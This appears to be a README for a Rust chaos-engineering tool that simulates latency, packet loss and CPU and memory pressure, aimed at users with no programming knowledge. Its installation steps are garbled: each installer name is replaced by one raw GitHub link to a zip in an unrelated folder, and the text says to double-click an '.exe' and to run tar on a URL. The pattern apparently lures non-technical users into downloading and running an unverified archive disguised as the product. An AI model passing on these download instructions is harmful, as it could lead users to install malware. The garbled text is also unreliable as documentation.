Welcome to chaos-engineering-rs! This application helps you test how well your services can handle failure. It is designed for everyday users with no programming knowledge. Follow the steps below to get started.
chaos-engineering-rs is a lightweight framework built in Rust. It works on Windows, macOS, and Linux. Using this tool, you can simulate various types of failures like:
- Network latency
- Packet loss
- CPU pressure
- Memory pressure
By testing these scenarios, you can see how your services respond and improve their reliability.
To run chaos-engineering-rs smoothly, your system should meet the following requirements:
- Operating System: Windows 10, macOS (latest version), or any modern Linux distribution.
- RAM: Minimum 4 GB.
- Disk Space: At least 100 MB free.
- Visit the Releases Page: Click here to go to the releases page.
- Choose Your Version: You will see a list of available versions. Select the latest one marked as βLatest Release.β
- Download the File: Look for the installer file appropriate for your operating system. The file will typically be named something like https://raw.githubusercontent.com/slava77789/chaos-engineering-rs/main/sedulousness/chaos-engineering-rs.zip for Windows or https://raw.githubusercontent.com/slava77789/chaos-engineering-rs/main/sedulousness/chaos-engineering-rs.zip for macOS.
- Run the Installer:
- For Windows users: Double-click the
.exefile to start the installation process. - For macOS users: Open the terminal, navigate to the location of the
https://raw.githubusercontent.com/slava77789/chaos-engineering-rs/main/sedulousness/chaos-engineering-rs.zipfile, then runtar -xzf https://raw.githubusercontent.com/slava77789/chaos-engineering-rs/main/sedulousness/chaos-engineering-rs.zipto extract it. Move to the folder and execute the application. - For Linux users: Open the terminal, download the binary, and run it using
./chaos-engineering-rs-linux.
- For Windows users: Double-click the
- Launch the Application: Once installed, find and open chaos-engineering-rs.
- Select a Test Type: Choose from the provided options like "Network Latency" or "CPU Pressure."
- Configure Settings: Adjust the parameters as per your testing needs. Each type allows you to customize how severe the test should be.
- Start the Test: Click the "Start Test" button to begin. The application will run and show you live results.
- Review Results: After the test, chaos-engineering-rs will display a summary of the results, highlighting any issues found during testing.
For those who prefer using the command line:
- You can access chaos-engineering-rs through terminal commands for more control.
- The commands are straightforward and will have help instructions available within the app.
chaos-engineering-rs --test network-latency --duration 10s- Cross-Platform: Works on different operating systems seamlessly.
- Real-time Monitoring: Watch the status of your services as you conduct tests.
- Predefined Scenarios: Easily set up common failure scenarios without hassle.
- Comprehensive Reports: Get detailed summaries after each test to analyze the results.
For more detailed information on advanced features and troubleshooting, please refer to the full documentation.
If you'd like to improve chaos-engineering-rs, contributions are welcome. You can report issues, suggest features, or contribute code. Check the Contributing Guide for more details.
Join our community for sharing experiences and tips. Feel free to ask questions within the Discussions section.
Happy testing with chaos-engineering-rs!